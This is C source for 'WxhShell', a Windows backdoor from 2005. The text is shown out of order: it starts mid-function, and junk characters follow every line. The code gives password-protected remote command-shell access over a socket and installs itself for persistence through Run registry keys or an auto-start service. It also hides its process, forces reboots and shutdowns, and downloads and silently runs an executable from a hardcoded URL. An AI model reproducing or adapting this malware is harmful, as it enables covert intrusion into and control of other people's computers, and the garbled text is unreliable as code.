    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Epg&)wC]  
    if(Boot(SHUTDOWN)) "@DCQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}N'm  
    else { XswEAz0=  
    closesocket(wsh); (q*Za  
    ExitThread(0); ,:j^EDCsaJ  
    } oljl&tuQy  
    break; p<tj6O  
    } }fUV*U:3  
  // 获取shell 7'd_]e-.  
  case 's': { $U3s:VQ'  
    CmdShell(wsh); Xfk&{zO-j  
    closesocket(wsh); xqX~nV#TB  
    ExitThread(0); }>fL{};Z"  
    break; 4, 8gf2  
  } - TSn_XE  
  // 退出 >cQ*qXI0  
  case 'x': { qbpvTTF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O]90 F  
    CloseIt(wsh); g.Z>9(>;Y  
    break; ~\(U&2t  
    } r)q6^|~47  
  // 离开 j'I$F1>Te  
  case 'q': { Xb5n;=)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h{VCx#!]  
    closesocket(wsh); bo`w( h_  
    WSACleanup(); Fn yA;,*  
    exit(1); ^3F[^#"  
    break; 0l!@bj  
        } 26&^n Uy  
  } AS'a'x>8>,  
  } 79z(n[^  
RV.*_FG  
  // 提示信息 52,pCyU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wqK>=Ri_  
} [-=PK\ B  
  } `fj(xrI  
iO(9#rV  
  return; 8S &`  
} JIQS'r  
FD,M.kbg  
// shell模块句柄 /k l0(='  
int CmdShell(SOCKET sock) |r$Vb$z  
{ \2*<Pq  
STARTUPINFO si; VrrCW/ o  
ZeroMemory(&si,sizeof(si)); !i2=zlpb[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `[2nxP>w`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H'P1EZtq  
PROCESS_INFORMATION ProcessInfo; z<hy#BIjnd  
char cmdline[]="cmd"; [}N?'foLb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]+{Cy\*kR  
  return 0; bo4 :|Z  
} oOnk,U  
b Bb$0HOF  
// 自身启动模式 O sbY}*S  
int StartFromService(void) 25NZIal<  
{ fr4#< 6,  
typedef struct }b\e2ZK  
{ D N GNc  
  DWORD ExitStatus; kzMCI)>"  
  DWORD PebBaseAddress; |.0/~Xy-  
  DWORD AffinityMask; 2X&~!%-  
  DWORD BasePriority; Ky[/7S5E  
  ULONG UniqueProcessId; "W?k~.uw  
  ULONG InheritedFromUniqueProcessId; <}L`d(E@f  
}   PROCESS_BASIC_INFORMATION; -:h5Ky"  
LsS/Sk  
PROCNTQSIP NtQueryInformationProcess; '(7]jug  
]3BTL7r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =\eM -"r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eg FV  
;@Alr?y  
  HANDLE             hProcess; p3M)gH=N  
  PROCESS_BASIC_INFORMATION pbi; QS4sSua  
7  g8SK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F<M#T  
  if(NULL == hInst ) return 0; HpC|dtro  
Ks(+['*S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); . Zrt/;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pLE|#58I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2G=Bav\n+  
NIY0f@1z-  
  if (!NtQueryInformationProcess) return 0; ,2qJXMg"=$  
|<96H8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U}x2,`PI  
  if(!hProcess) return 0; h \hQ  
5wmH3g#0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S#8wnHq  
 Xai ,  
  CloseHandle(hProcess); CS)&A4`8  
/J aH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J^R))R=  
if(hProcess==NULL) return 0; x$Ko|:-  
$]<CC`  
HMODULE hMod; Mc#uWmc 7  
char procName[255]; W/<]mm~95  
unsigned long cbNeeded; w}c1zpa  
-v'7;L0K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B;r U  
vvU;55-  
  CloseHandle(hProcess); 8P.t  
ClCb.Ozj4  
if(strstr(procName,"services")) return 1; // 以服务启动 ID & Iz  
_ r0oOpE  
  return 0; // 注册表启动 &^Zo}F2V  
} D}XyT/8G3  
E{[c8l2B  
// 主模块 mk2T   
int StartWxhshell(LPSTR lpCmdLine) #I|Vyufw  
{ LYhgBG,   
  SOCKET wsl; W$O^IC  
BOOL val=TRUE; %*wJODtB|  
  int port=0; " ;_bB"q*  
  struct sockaddr_in door; !@{_Qt1  
^>gRK*,  
  if(wscfg.ws_autoins) Install(); GNS5v-"H  
[u;]J*  
port=atoi(lpCmdLine); kj~)#KDN  
-==@7*x!Z  
if(port<=0) port=wscfg.ws_port; 0}2Uj>!i  
LyH8T'C~  
  WSADATA data; p%EU,:I6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B q+RFo  
`<i|K*u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6Xb\a^ q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z'=*pIY5f  
  door.sin_family = AF_INET; [yM{A<\L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'g$~ij ;x  
  door.sin_port = htons(port); Q:& ,8h[  
~Z!xS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <6Q]FH!6  
closesocket(wsl); |}b~ss^  
return 1; \:mx Ri  
} Po'yr]pr  
Z#BwJHh  
  if(listen(wsl,2) == INVALID_SOCKET) { H=?v$! i  
closesocket(wsl); 0 60<wjX6  
return 1; l~!Tnp\M  
} ~ nNsq(4  
  Wxhshell(wsl); "%dWBvuO  
  WSACleanup(); \j !JRD+j  
%Rj:r!XB:  
return 0; W?mn8Y;{`  
QMea2q|3$  
} gRIRc4p  
izsAn"v  
// 以NT服务方式启动 M7^PWC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [X0Wfb}{  
{ Ck8`$x&t  
DWORD   status = 0; ^crk8O@Fw  
  DWORD   specificError = 0xfffffff; H$zjN8||"  
(C*G)Aj7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LH@)((bi4v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E#JDbV1AC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jv>l6)  
  serviceStatus.dwWin32ExitCode     = 0; E@^`B9 ;Q7  
  serviceStatus.dwServiceSpecificExitCode = 0; o\vIYQ   
  serviceStatus.dwCheckPoint       = 0; U~-Z`_@^-  
  serviceStatus.dwWaitHint       = 0; rQg7r>%Q  
kU$P?RD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e.hHpjWi?Z  
  if (hServiceStatusHandle==0) return; z=<x.F  
`=Pn{JaD  
status = GetLastError(); "(5A 5>  
  if (status!=NO_ERROR) xfCq;?MupW  
{ REDh`Wd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ay;=1g)8+f  
    serviceStatus.dwCheckPoint       = 0; p)vyZY[  
    serviceStatus.dwWaitHint       = 0; S9d+#6rn  
    serviceStatus.dwWin32ExitCode     = status; gm~Ka%O|F  
    serviceStatus.dwServiceSpecificExitCode = specificError; jo{[*]Oa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >e :&kp  
    return; |B<+Y<)f^  
  } VJ;n0*/  
{c`kC]9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }C!N$8d,  
  serviceStatus.dwCheckPoint       = 0; lfG]^id'  
  serviceStatus.dwWaitHint       = 0; tX$%*Uy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #X'!wr|-  
} P0uUVU=B|  
@;2,TY>Di  
// 处理NT服务事件,比如:启动、停止 8`XpcK-0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zRN_` U  
{ 0^nnR7  
switch(fdwControl) Z7% |'E R  
{ W=41jw  
case SERVICE_CONTROL_STOP: \_}Y4  
  serviceStatus.dwWin32ExitCode = 0; Qc#<RbLL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ba& \~_4  
  serviceStatus.dwCheckPoint   = 0; c7X5sMM,  
  serviceStatus.dwWaitHint     = 0; b/cc\d<  
  { T5?@'b8F6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `=0}+  
  } Q!(16  
  return; +!Q<gWb  
case SERVICE_CONTROL_PAUSE: ))V)]+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [R*UPa  
  break; GqBZWmAB  
case SERVICE_CONTROL_CONTINUE: j:B?0~=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #]<j.Fc`  
  break; /{ Lo0  
case SERVICE_CONTROL_INTERROGATE: uoR_/vol8  
  break; ?.~E:8  
}; hz{=@jX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U">w3o|  
} PCDsj_e  
<3zA|  
// 标准应用程序主函数 +F$c_ \>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n,}\;Bp  
{ Fl<|/DCg  
)w_0lm'v{r  
// 获取操作系统版本 q|BR-0yi  
OsIsNt=GetOsVer(); C-' n4AY^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;4p_lw@  
Bpt%\LK\~O  
  // 从命令行安装 N-EVH e'}6  
  if(strpbrk(lpCmdLine,"iI")) Install(); h'YC!hjp   
:S'P lH  
  // 下载执行文件 p&~8N#I#  
if(wscfg.ws_downexe) { PrqN5ND  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  vp7J';  
  WinExec(wscfg.ws_filenam,SW_HIDE); XoEiW R  
} *m6~x-x  
oG~a`9N%C  
if(!OsIsNt) { hw ]x T5  
// 如果时win9x,隐藏进程并且设置为注册表启动 eFS;+?bu  
HideProc(); =EwC6+8*M  
StartWxhshell(lpCmdLine); /\P3UrQ&]  
} Z~)Bh~^A  
else B 3<T#  
  if(StartFromService()) hvCX,^LoJ  
  // 以服务方式启动 hbdq'2!Qr  
  StartServiceCtrlDispatcher(DispatchTable); 89ivyv;]U  
else ':YFm  
  // 普通方式启动 xD+n2:I{  
  StartWxhshell(lpCmdLine); D]n9+!Ec1f  
W,dqk=n  
return 0; s)X'PJ0&Bs  
} ``KimeA~  
'oSs5lW  
k/bY>FY2r  
@)=\q`vV  
=========================================== $?RxmWsP  
&6 .r=,BO  
uz-O%R-  
jx B  
:H($|$\h  
7(c7-  
" >8h14uCk  
Z9TmX A@  
#include <stdio.h> 9NXf~-V-  
#include <string.h> 2k}~"!e1  
#include <windows.h> yop,%Fe  
#include <winsock2.h> Ve\^(9n  
#include <winsvc.h> zMlW)NB'  
#include <urlmon.h> 2VO bj7F  
xQ4 5B` $  
#pragma comment (lib, "Ws2_32.lib") 6$]@}O^V  
#pragma comment (lib, "urlmon.lib") 8U}BSM_<2  
MNd8#01q`  
#define MAX_USER   100 // 最大客户端连接数 A'Q=Do E  
#define BUF_SOCK   200 // sock buffer w5zr Ek#  
#define KEY_BUFF   255 // 输入 buffer &,E^ y,r  
eT 8(O36%  
#define REBOOT     0   // 重启 p2T<nP<Pt  
#define SHUTDOWN   1   // 关机 5n,?&+*L  
USBU?WDt  
#define DEF_PORT   5000 // 监听端口 t* eZe`|  
rC )pCC  
#define REG_LEN     16   // 注册表键长度 /4x3dwXW@  
#define SVC_LEN     80   // NT服务名长度 > Q[L, I  
V*]cF=W[A  
// 从dll定义API 9w\ yWxl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2P)*Y5`KBH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x?T.ItW:K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Si=zxy T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qy@v, a  
UC&f  
// wxhshell配置信息 D|m] ]B  
struct WSCFG { fCg"tckE  
  int ws_port;         // 监听端口 5-rG8  
  char ws_passstr[REG_LEN]; // 口令 [!Uzw 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no vb^/DMhz  
  char ws_regname[REG_LEN]; // 注册表键名 i$`OOV=/e  
  char ws_svcname[REG_LEN]; // 服务名 "eKNk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?[<C,w~$`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Op''=Ar#sh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =)tU]kp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gp*U2LB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $TU)O^c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mx\b6w7  
jm~(OLg  
}; dC&{zNG  
-<e8\Z`  
// default Wxhshell configuration TNgf96) y  
struct WSCFG wscfg={DEF_PORT, X{2))t%  
    "xuhuanlingzhe", r(qAe{  
    1, d3% 1 P)  
    "Wxhshell", E1'| ;}/  
    "Wxhshell", Th"0Cc)  
            "WxhShell Service", )1de<# qM  
    "Wrsky Windows CmdShell Service", $:&?!>H  
    "Please Input Your Password: ", 2@!Ou$W  
  1, U9N1 )3/u  
  "http://www.wrsky.com/wxhshell.exe", p\xi5z  
  "Wxhshell.exe" h$\+r<  
    }; IC5[:UZ5]  
9hoTxWpmy  
// 消息定义模块 ?[Gj?D.Wc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ruqx #]-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Um4$. BKD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  -w7g}  
char *msg_ws_ext="\n\rExit."; `bXP )$  
char *msg_ws_end="\n\rQuit."; f+A!w8E  
char *msg_ws_boot="\n\rReboot..."; c:;m BS>~  
char *msg_ws_poff="\n\rShutdown..."; 8M9LY9C  
char *msg_ws_down="\n\rSave to "; x[%z \  
a-nf5w>&q  
char *msg_ws_err="\n\rErr!"; 24 )Sf  
char *msg_ws_ok="\n\rOK!"; 2VSs#z!  
f9`F~6$  
char ExeFile[MAX_PATH]; LojEJ  
int nUser = 0; \gtI4zl*J  
HANDLE handles[MAX_USER]; E]Wnl\Be  
int OsIsNt; J})#43P  
# MpW\yX  
SERVICE_STATUS       serviceStatus; pS [nKcyj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >LqW;/&S<  
:i{$p00 G  
// 函数声明 YG AB2`!U  
int Install(void); s> d /9 b  
int Uninstall(void); .Ioj]r  
int DownloadFile(char *sURL, SOCKET wsh); UXU!sd  
int Boot(int flag); (t^&L  
void HideProc(void); Os1o!w:m5  
int GetOsVer(void); xRTr<j0s  
int Wxhshell(SOCKET wsl); QtF'x<cB  
void TalkWithClient(void *cs); $x%3^{G  
int CmdShell(SOCKET sock); j?eWh#[K"  
int StartFromService(void); {'(1c)q>  
int StartWxhshell(LPSTR lpCmdLine); 0iy-FV;J  
kqyV UfX$3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Fa6 'M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C3m](%?   
:)cn&'l(S  
// 数据结构和表定义 P:`tL)W_  
SERVICE_TABLE_ENTRY DispatchTable[] = e+_~a8 -|  
{ ^F}HWpF_  
{wscfg.ws_svcname, NTServiceMain}, FNQR sNi  
{NULL, NULL} 6[iuCMOZ  
}; CBj&8#8Z  
*F ya qJ)  
// 自我安装 V={`k$p  
int Install(void) Er 4P  
{ @|7Ma/8v  
  char svExeFile[MAX_PATH]; -Odk'{nW  
  HKEY key; =%wwepz6  
  strcpy(svExeFile,ExeFile); }Y{aVn&C  
L%3m_'6QP  
// 如果是win9x系统,修改注册表设为自启动 xt{f+c@P  
if(!OsIsNt) { k3:8T#N>!O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T3-8AUCK8?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?AL;m.X-@  
  RegCloseKey(key); Stq [[S5P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AdCi*="m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p_K` `JE  
  RegCloseKey(key); >_ )~"Ra  
  return 0; {e>E4(  
    } IV#kF}9$  
  } KINKq`Sx  
} GpW5)a  
else { o*d+W7l  
vai.w-}Z  
// 如果是NT以上系统,安装为系统服务 oH[4<K>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ig] hY/uT  
if (schSCManager!=0) uTSTBI4t  
{ ao@"j}c  
  SC_HANDLE schService = CreateService .H.#W1`  
  ( e~wuoE:M3  
  schSCManager, =*ZQGM3w  
  wscfg.ws_svcname, aa:97w~s0  
  wscfg.ws_svcdisp, &7gL&AY8  
  SERVICE_ALL_ACCESS, L `7~~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,g2oqq ?  
  SERVICE_AUTO_START, .:<-E%  
  SERVICE_ERROR_NORMAL, !3E %u$-}  
  svExeFile, 4V$DV!dPQ}  
  NULL, a0s6G3J+9  
  NULL, `2 vv8cg^  
  NULL, _A8x{[$  
  NULL, w Ud6xR  
  NULL EQ;,b4k?&g  
  ); >:2Br(S  
  if (schService!=0) z x7fRd$  
  { ~Sr`Tlp  
  CloseServiceHandle(schService); ka3(sctZ5  
  CloseServiceHandle(schSCManager); 3L;GfYr0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ujo3"j[b  
  strcat(svExeFile,wscfg.ws_svcname); l1Zf#]x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p4ML } q8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sz5&P )X  
  RegCloseKey(key); > @Ux8#  
  return 0; -ZmccT"8  
    } O{sb{kk  
  } n+C,v.X  
  CloseServiceHandle(schSCManager); LLa72HW  
} 3C=|  
} ,mu=#}a@}  
xz @/^Cj  
return 1; p6qza @  
} 5<?O S &B  
ciq'fy  
// 自我卸载 G=[ =[o\  
int Uninstall(void) i2PPVT  
{ D~KEjz!bQ  
  HKEY key; hXvg<Rf  
?5%0zMC  
if(!OsIsNt) { ?q&*|-%)_d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E7XFt#P.  
  RegDeleteValue(key,wscfg.ws_regname); ]cz*k/*0  
  RegCloseKey(key); sj)$o94=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o6FSSKM  
  RegDeleteValue(key,wscfg.ws_regname); l'_P]@*  
  RegCloseKey(key); Lyx \s;  
  return 0; Y#'?3  
  } l P4A?J+Q  
} jKOjw#N  
} y~&R(x~w  
else { uP'x{Pr)  
+) pO82  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t)y WQV  
if (schSCManager!=0) d+5KHfkK  
{ !y8/El  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l?+67cQLA  
  if (schService!=0) XJ3 5Z+M  
  { $1Lm=2;U  
  if(DeleteService(schService)!=0) {  i7qG5U  
  CloseServiceHandle(schService); mN_KAln  
  CloseServiceHandle(schSCManager); :{iS0qJ  
  return 0; t%<@k)hd~G  
  } <i~MBy. (  
  CloseServiceHandle(schService); N2!HkUy2  
  } XO*|P\#^  
  CloseServiceHandle(schSCManager); qusX]Tst z  
} vgfLI}|5  
} [SluYmW  
"?I]h  
return 1; (GLd" Zq  
} J/M_cO*U  
y4aW8J#  
// 从指定url下载文件 aY^_+&&G  
int DownloadFile(char *sURL, SOCKET wsh) dS7?[[pg9  
{ D ^ mfWJS  
  HRESULT hr; QLq^[ >n  
char seps[]= "/"; jQAK ?7':=  
char *token; __}j {Buk  
char *file; I8|7~jRB  
char myURL[MAX_PATH]; >680}\S  
char myFILE[MAX_PATH]; S7tc  
VEolyPcsg&  
strcpy(myURL,sURL); JEF2fro:Z  
  token=strtok(myURL,seps); K._tCB:  
  while(token!=NULL) I}5#!s< {&  
  { J#tGQO  
    file=token; e8HGST`  
  token=strtok(NULL,seps); *\?t W]8<  
  } 8pc=Oor2Tv  
MGH(= w1  
GetCurrentDirectory(MAX_PATH,myFILE); _z:7Dj#  
strcat(myFILE, "\\"); p[E}:kak_-  
strcat(myFILE, file); [L.+N@M  
  send(wsh,myFILE,strlen(myFILE),0); [4V{~`sF  
send(wsh,"...",3,0); [25[c><:w"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }L.xt88  
  if(hr==S_OK) LwpO_/qV  
return 0; o% ZtE  
else 7J ~usF>A  
return 1; MHs2UN  
PgNg1  
} Ae&470  
l_K=7\N  
// 系统电源模块 ;\P\0pI50  
int Boot(int flag) $wL zaZL|  
{ W^}fAcQKH  
  HANDLE hToken; I]HrtI  
  TOKEN_PRIVILEGES tkp; WoP5[.G  
[:cy.K!Uo%  
  if(OsIsNt) { N5>ioJj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XBd/,:q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3P{ d~2  
    tkp.PrivilegeCount = 1; sdk%~RN0T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \>Y2I 4x<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ![=C`O6K  
if(flag==REBOOT) { sW'SR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L: hEt  
  return 0; 4Wz@^7|V5  
} p^QEk~qw  
else { .>4Zt'gCt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `)sC".b7  
  return 0; W@R\m=e2  
} .h!oo;@  
  } jV83%%e  
  else { 8lG@8tbW^  
if(flag==REBOOT) { -+^E5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zZ rUS'8  
  return 0; clE_a?  
} {Kn:>l$*7  
else { xign!=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aS ]bTYJ'  
  return 0; z8HOig?  
} ,>H(l$n  
} gi26Dtk(h  
E-P;3lS~  
return 1; .M3]\I u  
} J2rw4L  
JmHEYPt0  
// win9x进程隐藏模块 (/x%zmY;/U  
void HideProc(void) nE_g^  
{ u4 ##*m  
TqzL]'NS+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }$6;g-|HX  
  if ( hKernel != NULL ) -4  ~(*  
  { TvV_Tz4e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DG2CpR)S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |?zFm mh  
    FreeLibrary(hKernel); tOQ2947zk  
  } dMo456L  
A .]o&S}  
return; : ,0F_["3  
} _!vxX ]  
z?ck*9SZX  
// 获取操作系统版本 }n!$)W*?  
int GetOsVer(void) +M@,CbqD  
{ H0!W:cIS;l  
  OSVERSIONINFO winfo; ;,d^=:S6@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F+%6?2 J  
  GetVersionEx(&winfo); s8i@HO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FU;b8{Y  
  return 1; *{_WM}G  
  else -&L(0?*qo  
  return 0; 7w}PYp1Z'~  
} N0]C?+  
/z'fFl^6O  
// 客户端句柄模块 *@2+$fgz  
int Wxhshell(SOCKET wsl) 58TH|Rj+I  
{ = JE4C9$,  
  SOCKET wsh; {jnfe}]  
  struct sockaddr_in client; J|$(O$hYy  
  DWORD myID; 2[^p6s[  
: `Nh}Ka0  
  while(nUser<MAX_USER) 3&39M&  
{ NeG$;z7  
  int nSize=sizeof(client); y(^hlX6gQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O r {9?;G  
  if(wsh==INVALID_SOCKET) return 1; #3fS_;G  
6),U(e%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); puv/+!q  
if(handles[nUser]==0)  l,}^<P]  
  closesocket(wsh); =g]Ln)jc  
else R 4= ~  
  nUser++; Z@Tb3N/[  
  } p#k>BHgnF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ';HNQe?vT  
k15fy"+Ut  
  return 0; <i<[TPv";  
} #CRAQ#:45(  
V_1'` F  
// 关闭 socket !(%^Tg=  
void CloseIt(SOCKET wsh) nnw5 !q_  
{ pn5A6 #  
closesocket(wsh); Mg7nv\6  
nUser--; F. N4Q'2Z  
ExitThread(0); N;\G=q] 9  
} 8y9`xRy  
Cob<N'.  
// 客户端请求句柄 #b^x!lR  
void TalkWithClient(void *cs) 7v{X?86&  
{ zB/)_AW  
 Sj,>O:p  
  SOCKET wsh=(SOCKET)cs; HU~,_m  
  char pwd[SVC_LEN]; AK$h S M  
  char cmd[KEY_BUFF]; ~s$ jiA1  
char chr[1]; JPs R7f  
int i,j; ZUkrJ'  
PO$ OXw  
  while (nUser < MAX_USER) { )&jE<C0  
{ \r1A  
if(wscfg.ws_passstr) { Cp`>dtCd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =1:dKo8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I;=HXL  
  //ZeroMemory(pwd,KEY_BUFF); 8!{;yz  
      i=0; 4>JDo,AWy  
  while(i<SVC_LEN) { D&)w =qIu  
|i/Iv  
  // 设置超时 |I0O|Zdv  
  fd_set FdRead; Q&JnF`*  
  struct timeval TimeOut; U]8 @  
  FD_ZERO(&FdRead); Ao2m"ym  
  FD_SET(wsh,&FdRead); 49e~/YY  
  TimeOut.tv_sec=8; dg(fD>+  
  TimeOut.tv_usec=0; Ke 5fe#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #z( JYw,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y{Yp N  
vX9B^W||x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #]g9O?0$  
  pwd=chr[0]; &efwfnG<  
  if(chr[0]==0xd || chr[0]==0xa) { J2va Kl  
  pwd=0; ]j^V5y"  
  break; 2 c%*u {=:  
  } $@VQ{S  
  i++; BGe&c,feIc  
    } $<]G#&F   
ZRD@8'1p  
  // 如果是非法用户,关闭 socket _QS+{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @P$_2IU"  
} f^EDiG>b`  
.lcI"%>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ox}LC, !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kS\A_"bc  
KRL9dD,&  
while(1) { >k\lE(  
Y[\ZN  
  ZeroMemory(cmd,KEY_BUFF); {I]X-+D|_  
Gtyy^tz[  
      // 自动支持客户端 telnet标准   QcXqMx  
  j=0; ,hggmzA~  
  while(j<KEY_BUFF) { Sz"rp9x+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f0<'IgN  
  cmd[j]=chr[0]; x|TLMu=3=  
  if(chr[0]==0xa || chr[0]==0xd) { qh40nqS;9  
  cmd[j]=0; Wej'AR\NX  
  break; wM2[i  
  } GadZ!_.f  
  j++; xe=/T# %  
    } ya*KA.EGg  
'`+GC9VG  
  // 下载文件 xUKn  
  if(strstr(cmd,"http://")) { nc0!ag  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C2Pw;iK_t  
  if(DownloadFile(cmd,wsh)) J7p'_\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ud.u  
  else 2#^@awJ ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )`*=P}D  
  } K]<49`MX  
  else { aYmC LLj  
